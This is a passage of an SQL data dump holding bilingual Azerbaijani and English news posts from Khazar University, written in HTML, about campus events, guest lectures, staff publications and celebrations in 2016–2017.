of\r\nMulticulturalism in Azerbaijan by the decree of the President Ilham Aliyev.</p>'),(2635,1583,'az','Robert Hossein və Türkan Şoray ilə görüş','2016-cı il noyabrın 18-də Xəzər Universitetinin şəhər mərkəzindəki kampusunda “Dünya” konsert salonunda Robert Hossein və Türkan Şoray ilə görüş keçirildi. Görüşdə Xəzər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\">&nbsp;2016-cı il noyabrın 18-də Xəzər Universitetinin şəhər\r\nmərkəzindəki kampusunda “Dünya” konsert salonunda Robert Hossein və Türkan\r\nŞoray ilə görüş keçirildi. Görüşdə Xəzər Universitetinin tələbələri, “Dünya” məktəbinin\r\nşagirdləri və media qurumlarının nümayəndələri iştirak etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı tədbiri açaraq, Robert Hossein və Türkan Şorayın həyat və fəaliyyətləri,\r\nhəmçinin Avrasiya Akademiyasının fəaliyyətləri haqqında danışdı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşün\r\nbirinci hissəsində Robert Hossein və Türkan Şoray ürək sözlərini dedilər,\r\nmüsahibə verdilər. İkinci hissəsində isə Xəzər Universiteti və “Dünya” məktəbinin\r\nmusiqili kollektivlərinin hazırladığı konsert verildi. Sonra isə tələbələr və\r\nşagirdlərin iştirakı ilə ingilis dramaturqu Uiliyam Şekspirin həyat və\r\nyaradıcılığına həsr olunmuş tamaşa səhnədə göstərildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Robert\r\nHosseinin həyat yoldaşı Michele Hossein iştirakçılara və təşkilatçılara xüsusi\r\ntəşəkkür etdi.&nbsp;</p>'),(2636,1583,'en','Meeting with Robert Hossein and Türkan Şoray','On November 18, 2016, a meeting was held for students with Robert Hossein and Türkan Şoray in the World Concert Hall of Khazar University’s downtown campus. Participants included...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 18, 2016, a meeting was held for\r\nstudents with Robert Hossein and Türkan Şoray in the World Concert Hall of\r\nKhazar University’s downtown campus. Participants included students of Khazar\r\nUniversity and Dunya School as well as media representatives. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Opening the event, Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, gave a speech about the lives and activities of the two honored\r\nguests as well as about the activities of Eurasian Academy. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">During the first part of the event, Robert Hossein\r\nand Türkan Şoray gave interviews and brief speeches. Biographic films were\r\nshown. During the second half of the event, Khazar University and Dunya School\r\nstudents performed a concert program. Then they gave a performance of scenes\r\nabout William Shakespeare’s life and works. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Robert Hossein’s wife, Michele Hossein, especially\r\nthanked the event participants and organizers.&nbsp;</p>'),(2772,1655,'en','Conference on Modern Academic Music at Khazar','On December 3, 2016, an event entitled “Conference on Modern Academic Music: Development and prospects. The preservation and development of musical diversity based...','<p>On December 3, 2016, an event entitled “Conference on Modern Academic Music: Development and prospects. The preservation and development of musical diversity based on the example of protecting copyrights” was held in the Marble Hall of Khazar University’s Neftchilar Campus. The conference was jointly organized by TURKSOY, Khazar University, and Azerbaijani Authors’ Society and included the participation of composers and music scholars from the Republics of Azerbaijan, Kazakhstan, Kyrgyzstan, Uzbekistan, and Turkmenistan.</p><p>Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, opened the event with a welcoming speech. He announced that the Academic Council of the university had made a decision to award an Honorary Doctorate Degree on behalf of Khazar University to Mr. Dusen Kaseinov, General Secretary of TURKSOY and former Minister of Culture of Kazakhstan, for his invaluable contributions to the development of Turkic culture.&nbsp;He gave the floor to University President Hassan Niknafs, who made a speech about Mr. Dusen Kaseinov and presented his diploma. Mr. Kaseinov made a speech to thank the university and the organizers of the event.</p><p>Then Ismayil Mammadkarimov, Chairman of the Azerbaijani Authors’ Society, moderated the conference. Lectures were given by Professor Zemfira Gafarova, Secretary of the Azerbaijan Composers’ Union and music scholar; Professor Lala Huseynova, Vice Rector of Azerbaijan National Conservatory and music scholar; Balnur Kidirbek, Secretary of Kazakhstan Composers’ Union; and Habibulla Setekov, Kazakh composer. The conference ended with discussions about the lectures.</p>'),(3691,2158,'az','Xəzər Universitetində Karyera günü keçiriləcək','2017-ci il mayın 22-də Xəzər Universiteti “Neftçilər” korpusundakı kompüter mərkəzində (otaq 402N) KPMG...','<p>2017-ci il mayın 22-də Xəzər\r\nUniversiteti “Neftçilər” korpusundakı kompüter mərkəzində (otaq 402N) KPMG-Azərbaycan şirkətinin Karyera günü\r\nkeçiriləcək. </p>\r\n<p>Karyera günü\r\nzamanı, KPMG-Azərbaycanın audit və vergi departamentlərində ödənişli təcrübə\r\nproqramı üzrə CV-lərin verilməsi və seçim prosesinin ilk mərhələsi olan onlayn\r\ntest həyata keçiriləcək. Proqramda maliyyə, mühasibat uçotu və audit, biznesin\r\nidarə edilməsi ixtisasları üzrə təhsil alan sonuncu kurs tələbələri (bakalavr və\r\nmagistr) iştirak edə bilərlər.</p>\r\n<p>İştirak üçün\r\n2017-ci il mayın 15-dək Karyera İnkişaf Mərkəzinə (“Neftçilər” korpusu, köhnə\r\nbina, otaq 211) yaxınlaşaraq, qeydiyyatdan keçməyiniz xahiş olunur.</p>'),(2637,1584,'az','“Xəzər”in müəllimi beynəlxalq elmi konfransda iştirak etdi','2016-cı il noyabrın 14-ü və 15-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyat departamentinin müəllimi Reyhan Mədətova AMEA-da keçrilən “Türkoloji Elmi-Mədəni Hərəkatda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 14-ü və 15-də Xəzər\r\nUniversitetinin Azərbaycan dili və ədəbiyyat departamentinin müəllimi Reyhan Mədətova\r\nAMEA-da keçrilən “Türkoloji Elmi-Mədəni Hərəkatda\r\nOrtaq Dəyərlər və Yeni Çağırışlar” mövzusunda Beynəlxalq elmi konfransda\r\niştirak etmişdir. O, konfransda “Orta əsr yazılı abidələrində məsdərin arxaik\r\nxüsusiyyətlərinin dialekt və şivələrimizdə qalıqları” adlı məqaləsi ilə çıxış\r\netmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Konfransın sonunda iştirakçı\r\nsertifikatı ilə təltif olunmuşdur.</p>'),(2638,1585,'az','“ƏSA” teatrı premyerasını “Xəzər”də keçirdi','2016-cı il noyabrın 20-də “ƏSA” teatrı Xəzər Universitetinin “Dünya” konsert salonunda “DUMB Mərhələsinin Əsası” tamaşasının premyerasını keçirdi...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;vertical-align:baseline\"\"=\"\">2016-cı il noyabrın 20-də\r\n“ƏSA” teatrı Xəzər Universitetinin “Dünya” konsert salonunda “DUMB Mərhələsinin\r\nƏsası” tamaşasının premyerasını keçirdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;vertical-align:baseline\"\"=\"\">Tamaşada Fərid Kazakov,\r\nOrxan Adıgözəl, Murad Məmmədov, Elvin Mirzəyev və Nihad Qulamzadə iştirak\r\nedirdilər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;vertical-align:baseline\"\"=\"\">Xatırladaq ki, “ƏSA” teatrı\r\n2016-cı il sentyabrın 3-də yaranıb və əlilliyi olan aktyorlardan ibarətdir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;vertical-align:baseline\"\"=\"\">Bu haqda bir sıra media\r\norqanları xəbər yaymışlar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://metbuat.az/news/570278/elilliyi-olan-genclerin-ilk-teatr-tamasasi.html\">http://metbuat.az/news/570278/elilliyi-olan-genclerin-ilk-teatr-tamasasi.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://cia.az/news-view/59678-Yeni-nesil-ezilib?---Alimlere-cavab;\">http://cia.az/news-view/59678-Yeni-nesil-ezilib?---Alimlere-cavab;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://report.az/multimedia/elilliyi-olan-genclerin-ilk-teatr-tamasasi/\">https://report.az/multimedia/elilliyi-olan-genclerin-ilk-teatr-tamasasi/</a>;&nbsp;</p>'),(2639,1586,'az','Robert Hosseinin göz yaşları','2016-cı il noyabrın 18-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının həmtəsisçisi olduğu Avrasiya Akademiyasının...','<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><em>Rəsmi tədbirdən yaddaşımda qeyri-rəsmi qalanlar...</em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><em>&nbsp;</em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 18-də Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının həmtəsisçisi\r\nolduğu Avrasiya Akademiyasının 2-ci rəsmi toplantısı universitetin “Mərmər”\r\nzalında baş tutdu. Akademiyanın iki yeni üzvü də qonaqlar arasında idi: Məşhur\r\naktyor və rejissor Robert Hossein və türk filmlərində kişilərin həmişə əlçatmaz\r\nbir qadın kimi izlədiyi Türkan Şoray.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbir yeni üzvlər haqqında hazırlanmış filmlərlə başladı. Bilməyənlər\r\nüçün, deyim ki, fransalı aktyor Robert Hossein azərbaycanəsillidir. Atası Səmərqənddəndir.\r\nFilmlərdən gördüyüm bu gümrah, yaraşıqlı oğlan indi gözlərində illərin\r\nyorğunluğu olan bir qocaya çevrilmişdir. Sanki yaratdığı obrazların hamısını öz\r\ntaleyi kimi yaşamışdır. Hossein tamaşaçıların yaddaşında ən çox 1960-cı illərdə\r\n“Anjelika” seriyasından olan filmlərdə canlandırdığı Qraf de Peyrak obrazı ilə\r\nqalmışdır. Bu obraz təkcə tamaşaçıda yox, həm də aktyorda dərin iz buraxmışdi.\r\nMüsahibələrinin birində Hossein qeyd etmişdir ki, qəbri üstündə Peyrak\r\nobrazının əks olunmasını istəyərdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə Robert Hosseinin filmlərindən parçalar nümayiş olunarkən,\r\nüzümü çevirib aktyora baxdım. Hosseinin gözlərindən yaş axırdı. Qoca aktyor\r\nböyük ekranda öz gəncliyini izləyərək ağlayırdı... Bu vaxt Hamlet İsaxanlı yan\r\nmasadan ayağa qalxaraq Robertə yaxınlaşdı, əlini çiyninə qoydu və nə isə dedi.\r\nGəncliyini geridə qoymuş bu iki böyük adam: Biri ağlayır, digəri təsəlli\r\nverirdi... Çox kədərli mənzərə idi...</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bəlkə bu qədər kövrək və hissiyyatlı olmağından, bəlkə də azərbaycanəsilli\r\nolmağından, Azərbaycanı çox sevdiyindən Robert Hosseinə qarşı qəribə bir\r\ndoğmalıq hiss etdim.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Robert Hossein Azərbaycana öz xanımı ilə gəlmişdi. Çox gözəl qadın\r\nidi. Onun Hosseinə həddən ziyadə diqqət ayırması nəzərimdən yayınmadı. Tez-tez\r\naktyorun saçını, paltarını, yaxasını düzəldir, nə isə soruşur, fikrini ondan\r\nayırmırdı. O anda öz-özümə düşündüm ki, əslində bütün yaradıcı adamların bu cür\r\nxanımı olmalıdır, xüsusən də Robert kimi uşaqqəlbli bir adamın...</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonra Türkan Şoray haqqında film başladı. Yaratdığı obrazlardan, çəkildiyi\r\nkinolardan nümunələr nümayiş olundu. Tədbirə hopmuş nostalgiya hissi daha da\r\ngücləndi. Türkan xanımın yanında Türkiyənin Azərbaycandakı səfiri Erkan Özoral əyləşmişdi.\r\nGənc səfir aktrisanın çəkildiyi filmləri izlədikcə, gözləri doldu. Tədbir\r\niştirakçıları film boyunca xısın-pısın danışır, pıçıldaşır, təəccüb dolu nələrsə\r\ndeyirdilər. Ara-sıra pıçıltılar eşidilirdi: “Necə gözəl idi”, “İndi yaman\r\nqocalıb”, “Amma yenə də gözəldir”... Ekranda isə filmlərindən hansındansa bir\r\nparça nümayiş olunurdu. Gənc Şoray oxuyurdu:</p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:1.5in;line-height:normal\"\"=\"\">“Boş yere bekleme geçen günleri,</p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:1.5in;line-height:normal\"\"=\"\">Böyledir ne yazık ki ezelden beri.</p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:1.5in;line-height:normal\"\"=\"\">Kimi benim gibi sever gönülden –</p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:1.5in;line-height:normal\"\"=\"\">Kimi senin gibi el olur gider...”</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:1.0in;line-height:normal\"\"=\"\">&nbsp;</p><p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:1.0in;line-height:normal\"\"=\"\"><strong><em>Alik Əlioğlu&nbsp;</em></strong></p>'),(2640,1585,'en','ASA Theater Premier at Khazar in Media','On November 20, 2016, the ASA Theater group performed its premier of “DUMB Mərhələsinin Əsası” (The Basis of the DUMB Level) in the World Concert Hall at Khazar University...','<p>On November 20, 2016, the ASA Theater\r\ngroup performed its premier of “DUMB Mərhələsinin Əsası” (The Basis of the DUMB\r\nLevel) in the World Concert Hall at Khazar University. </p>\r\n<p>Actors included Farid Kazakov, Orkhan\r\nAdigozel, Murad Mamadov, Elvin Mirzayev and Nihad Gulamzadeh. </p>\r\n<p>ASA Theater was formed on September 3,\r\n2016. It is made up of actors with disabilities. </p>\r\n<p>The premier was reported by the\r\nfollowing news sites: </p>\r\n<p><a href=\"http://metbuat.az/news/570278/elilliyi-olan-genclerin-ilk-teatr-tamasasi.html\">http://metbuat.az/news/570278/elilliyi-olan-genclerin-ilk-teatr-tamasasi.html</a>;</p>\r\n<p><a href=\"http://cia.az/news-view/59678-Yeni-nesil-ezilib?---Alimlere-cavab;\">http://cia.az/news-view/59678-Yeni-nesil-ezilib?---Alimlere-cavab;</a></p>\r\n<p><a href=\"https://report.az/multimedia/elilliyi-olan-genclerin-ilk-teatr-tamasasi/\">https://report.az/multimedia/elilliyi-olan-genclerin-ilk-teatr-tamasasi/</a>;&nbsp;</p>'),(2641,1586,'en','Robert Hossein’s Tears','On November 17, 2016, the second official assembly of Eurasian Academy, co-founded by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board...','<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><em>An unnoficial record of an official ceremony... </em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><em>&nbsp;</em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 17, 2016, the second official assembly of Eurasian\r\nAcademy, co-founded by Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, was held in the\r\nMarble Hall of Khazar University.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Khazar Unniveristy staff member Alik Elioghlu wrote his impressions\r\nof the event which were published as an article on the news site Kulis.Lent.az.\r\nThe article (in Azerbaijani) is available here: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://kulis.lent.az/news/16558\">http://kulis.lent.az/news/16558</a>\r\n</p>'),(2642,1587,'az','Tələbələr UNDP-Azərbaycanın təlimində iştirak etdilər','2016-cı il noyabrın 14-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin 20 tələbəsi UNDP-Azərbaycanın dəstəklədiyi təlimdə iştirak etdilər...','<p>2016-cı il\r\nnoyabrın 14-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin 20 tələbəsi\r\nUNDP-Azərbaycanın dəstəklədiyi təlimdə iştirak etdilər. Təlimi professor\r\nPasquale Lucio Scandizzo (Roma Universiteti) aparırdı. Təlim “Ekosistem xidmətlərinin\r\nqiymətləndirilməsi üçün şərti qiymətləndirmə üsulu” mövzusuna həsr olunmuşdu.</p>'),(2643,1587,'en','Students Participate in UNDP training','On November 14, 2016, 20 students from the Khazar University Department of Geography and Environment participated in a training supported by UNDP Azerbaijan...','<p>On November 14,\r\n2016, 20 students from the Khazar University Department of Geography and\r\nEnvironment participated in a training supported by UNDP Azerbaijan. The\r\ntraining was led by Professor Pasquale Lucio Scandizzo (University of Rome).\r\nThe training covered “Contingent Valuation Method for Assessment of Ecosystem\r\nServices.”&nbsp;</p>'),(2644,1588,'az','İtaliyan professor tələbələrə mühazirə oxudu','2016-cı il noyabrın 15-də professor Pasquale Lucio Scandizzo (Roma Universiteti) Xəzər Universiteti Coğrafiya və ətraf mühit departamentində su ehtiyatlarının kompleks idarə...','<p>2016-cı il\r\nnoyabrın 15-də professor Pasquale Lucio Scandizzo (Roma Universiteti) Xəzər\r\nUniversiteti Coğrafiya və ətraf mühit departamentində su ehtiyatlarının\r\nkompleks idarə olunması dərsində “Ekosistem xidmətləri üçün ödəmələr su\r\nehtiyatlarının kompleks idarə olunması vasitəsi kimi” mövzusunda mühazirə\r\noxudu.</p>'),(2645,1588,'en','Italian Professor Gives Guest Lecture','On November 15, 2016, Professor Pasquale Lucio Scandizzo (University of Rome) visited Khazar University’s Department of Geography and Environment and gave a guest...','<p>On November 15, 2016, Professor Pasquale Lucio Scandizzo\r\n(University of Rome) visited Khazar University’s Department of Geography and\r\nEnvironment and gave a guest lecture for the Integrated Water Resources Management\r\n(IRWM) class on “Payment for Ecosystem Services as a tool for IWRM.”&nbsp;</p>'),(2646,1584,'en','Khazar University Instructor at International Conference','On November 14-15, 2016, Reyhan Madatova, instructor for Khazar University’s Department of Azerbaijani Language and Literature, participated in an international conference in Baku...','<p>On November 14-15,\r\n2016, Reyhan Madatova, instructor for Khazar University’s Department of\r\nAzerbaijani Language and Literature, participated in an international\r\nconference in Baku entitled “Shared Values and New Challenges in Academic and\r\nCultural Movements in Turkish Studies.” She presented her article on “Remnants\r\nof Archaic Characteristics of the Infinitive in Written Works from the Middle\r\nAges.” </p>\r\n<p>At the end of the\r\nconference, she was presented a certificate for participation.&nbsp;</p>'),(2647,1589,'az','“Xəzər”in əməkdaşlarının məqaləsi xaricdə çap olundu','2016-cı il noyabrın 20-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin əməkdaşları Mələk Kərimova və Nərmin Osmanlının həmmüəllif olduğu “Qısa simptom inventarı...','<p>2016-cı il noyabrın 20-də Xəzər Universiteti\r\nHumanitar və sosial elmlər fakültəsinin əməkdaşları Mələk Kərimova və Nərmin\r\nOsmanlının həmmüəllif olduğu “Qısa simptom inventarı: Azərbaycan nümunəsində\r\ngerçəklik-etibarlılığın tədqiqi” <em>(“The\r\nBrief Symptom Inventory: A validity-reliability study of sample from Azerbaijan</em>”\r\nadlı məqalə&nbsp; “<em>Education and Training\r\nStudies”</em> jurnalında (Vol 4, No12; December (ISSN 2324-805 XE-ISSN\r\n2324-8068) çap olunmuşdur.</p>\r\n<p>2000-ci ildən başlayaraq, təxminən 260 tədqiqatda istifadə edilən bu\r\ntest ölkəmizdə Xəzər Universiteti adından yoxlanılaraq uyğunlaşdırılmışdır. Test\r\ninsanlarda olan psixoloji distress səviyyəsini ölçməklə yanaşı, bir çox sahələrdə\r\ndə fikir verir. Pasiyentin ilkin psixoloji simptomlarının&nbsp; müəyyənləşdirilməsində&nbsp; psixoloq, psixiyatrlar üçün əlverişli klinik\r\nvasitə olan bu test tədqiqatçılar tərəfindən də istifadə edilə bilər.</p>\r\n<p>Maraqlananlar məqaləni aşağıdakı link vasitəsilə oxuya bilərlər:</p>\r\n<p><a href=\"http://redfame.com/journal/index.php/jets/article/view/2000/2109\">http://redfame.com/journal/index.php/jets/article/view/2000/2109</a>.&nbsp;</p>'),(2648,1590,'az','Xəzər Universitetinin əməkdaşı Beynəlxalq Tolerantlıq Gününə həsr olunmuş seminarda','2016-cı il noyabrın 16-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyat departamentinin müəllimi f.ü.f.dr. Xatirə Yusifova Azərbaycan Memarlıq və İnşaat Universitetində...','<p>2016-cı il noyabrın 16-da Xəzər Universitetinin Azərbaycan\r\ndili və ədəbiyyat departamentinin müəllimi f.ü.f.dr. Xatirə Yusifova Azərbaycan\r\nMemarlıq və İnşaat Universitetində Beynəlxalq Tolerantlıq Gününə həsr olunmuş\r\nseminarda “Bəşəri düşüncə” adlı məqalə ilə çıxış etmişdir. Seminar AMİU-nın I\r\nkorpusunun akt zalında keçrilmişdir. Seminara AMEA-nın Füzüli adına Əlyazmalar İnstitutunun Beynəlxalq əlaqələr\r\nşöbəsinin müdiri professor Fərid Ələkbərli, Bakı Beynəlxalq Multikulturalizm Mərkəzinin\r\nAnalitika şöbəsinin müdiri Rəşad İlyasov&nbsp;və\r\nb. dəvət olunmuşdular.</p>'),(2649,1591,'az','“Xəzər”də yubileylər','Noyabrın 21-də Xəzər Universitetində yubiley tədbiri keçirildi. Universitet rəhbərliyinin və əməkdaşların iştirak etdikləri tədbirdə universitetin baş mühasibi Kərim Kərimovun 80...','<p>Noyabrın 21-də Xəzər Universitetində yubiley tədbiri\r\nkeçirildi. Universitet rəhbərliyinin və əməkdaşların iştirak etdikləri tədbirdə\r\nuniversitetin baş mühasibi Kərim Kərimovun 80, Azərbaycan dili və ədəbiyyatı müəllimi\r\nElza İsmayilovanın 60 (üzürlü səbəbə görə tədbirdə iştirak etmirdi) &nbsp;və Elektronika və telekommunikasiya\r\ndepartamentinin müdiri Nuru Səfərovun 50 illik yubileyləri təntənəli şəraitdə\r\nqeyd edildi.</p>\r\n<p>Tədbirn aparıcısı, Məzunlarla İş Mərkəzinin\r\ndirektoru Baba Bayramlı yubilyarların həyat və fəaliyyəti haqqında qısa məlumat\r\nverdikdən sonra onlar haqqında universitetin Multimedia mərkəzi tərəfindən\r\nhazırlanmış slayd-şoular nümayiş olundu.</p>\r\n<p>Universitetin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, rektor Hassan Niknafs, prorektor Məhəmməd\r\nNuriyev, Xəzər Universiteti Avropa və Orta Şərq Araşdırmaları Mərkəzinin\r\ndirektoru Fərda Əsədov, İqtisadiyyat və menecment fakültəsinin dekanı İnqilab\r\nƏhmədov, Magistratura, doktorantura və elmi işələr bölməsinin müdiri Eldar Şahgəldiyev\r\nvə İngilis dili və ədəbiyyatı departamentinin baş müəllimi Firəngiz Nəsirova çıxış\r\nedərək, yubilyarları təbrik etdilər, onlara uzun ömür, fəaliyyətlərində uğurlar\r\narzuladılar.</p>\r\n<p>Yubilyarlara gül dəstəsi, təbrik məktubu və hədiyyə\r\ntəqdim olundu. Onlar yubiley tortunu kəsəndən sonra çıxış edərək, universitet rəhbərliyinə\r\nvə iştirakçılara təşəkkürlərini bildirdilər.</p>\r\n<p>Tədbirdə universitetin Musiqi və incəsənət\r\ndepartamentinin müdiri, pianoçu Zülfiyyə Sadığovanın müşayıəti ilə dövlət\r\nfilarmoniyasının solisti, Xəzər Universirtetinin müəllimi Məhsəti Cabbarovanın\r\nifasında mahnılar səsləndi, iştirakçılar rəqs edib, əyləndilər.</p>'),(2650,1590,'en','Khazar University Instructor at International Tolerance Day Seminar ','On November 16, 2016, Dr. Khatira Yusifova, instructor of Khazar University Department of Azerbaijani Language and Literature, participated in a seminar for International Tolerance...','<p>On November 16,\r\n2016, Dr. Khatira Yusifova, instructor of Khazar University Department of\r\nAzerbaijani Language and Literature, participated in a seminar for\r\nInternational Tolerance Day at Azerbaijan University of Architecture and\r\nConstruction (AUAC). She presented an article on “Humanist Thought.” The\r\nseminar was held in the Conference Hall of AUAC. Guests at the seminar included\r\nProfessor Farid Alakbarli, Director of the International Relations Department\r\nof the Fuzuli Manuscripts Institute of ANAS, and Rashad Ilyasov, Head of the\r\nAnalytics Division of Baku International Multiculturalism Center.&nbsp;</p>'),(2651,1589,'en','Khazar Instructor’s Article Published Abroad','On November 20, 2016, an article co-authored by Malak Karimova and Narmin Osmanli of Khazar University School of Humanities and Social Sciences entitled...','<p>On November 20, 2016, an article\r\nco-authored by Malak Karimova and Narmin Osmanli of Khazar University School of\r\nHumanities and Social Sciences entitled “The Brief Symptom Inventory: A\r\nvalidity-reliability study of sample from Azerbaijan” was published in the\r\nEducation and Training Studies journal (Vol 4, No12; December; ISSN 2324-805\r\nXE-ISSN 2324-8068). </p>\r\n<p>The authors adapted this test, which has\r\nbeen used in around 260 studies since the year 2000, for use in Azerbaijan on\r\nbehalf of Khazar University. The test measures psychological stress levels.\r\nPsychologists and psychiatrists can use this test for primary determination of\r\nsymptoms in their patients. </p>\r\n<p>Further information is available at the\r\nfollowing link: </p>\r\n<p><a href=\"http://redfame.com/journal/index.php/jets/article/view/2000/2109\">http://redfame.com/journal/index.php/jets/article/view/2000/2109</a>.&nbsp;</p>'),(2652,1591,'en','Jubilee Birthday Celebrations at Khazar ','On November 21, 2016, a jubilee birthday party was held at Khazar University with the participation of university administrators and staff members to celebrate the 80th birthday..','<p>On\r\nNovember 21, 2016, a jubilee birthday party was held at Khazar University with\r\nthe participation of university administrators and staff members to celebrate\r\nthe 80th birthday of Chief Accountant Karim Karimov; the 60th birthday of Elza\r\nIsmayilova, instructor of the Azerbaijani Language and Literature Department,\r\nwho was unable to attend due to unforeseen circumstances; and the 50th birthday\r\nof Dr. Nuru Safarov, Head of the Department of Electronics, Telecommunications\r\nand Radio Engineering. </p>\r\n<p>The\r\nannouncer of the event was Baba Bayramli, Director of the Center for Alumni\r\nRelations. He spoke about each of the honored staff members listed above, and\r\nthen a slide show prepared by the Multimedia Center with photos of each of them\r\nwas shown. </p>\r\n<p>Congratulatory\r\nspeeches were made by Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees; Dr. Hasan\r\nNiknafs, President of the University; Professor Mahammad Nuriyev, Vice\r\nPresident of Khazar University for Academic Affairs; Dr. Farda Asadov, Director\r\nof the Center for Eurasia and Middle East Studies; </p>\r\n<p>Dr.\r\nIngilab Ahmadov, Dean of the School of Economics and Management; Dr. Eldar\r\nShahgaldiyev, Head of the Division for Graduate Students and Research; and\r\nFirangiz Nasirova, Senior Instructor of the Department of English Language and\r\nLiterature. </p>\r\n<p>Karim\r\nKarimov and Nuru Safarov were given bouquets, congratulatory letters and gifts.\r\nThey cut a birthday cake and thanked the university administration as well as\r\nall the participants in the party. </p>\r\n<p>Mahsati\r\nJaffarova, soloist for the State Philharmonic, performed musical numbers\r\naccompanied by Associate Professor Zulfiyya Sadigova, Head of the Department of\r\nMusic and Fine Arts. The party also included music and dancing.&nbsp;</p>'),(2653,1593,'az','Finlandiyanın Novia Tətbiqi Elmlər Universitetinin rektoru Xəzər Universitetində ','2016-cı il noyabrın 15-də Finlandiyanın Novia Tətbiqi Elmlər Universitetinin rektoru Dr. Örjan Anderssonun rəhbərlik etdiyi nümayəndə heyəti Xəzər Universitetində oldular...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil noyabrın 15-də Finlandiyanın Novia Tətbiqi Elmlər Universitetinin rektoru\r\nDr. Örjan Anderssonun rəhbərlik etdiyi nümayəndə heyəti Xəzər Universitetində\r\noldular, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının 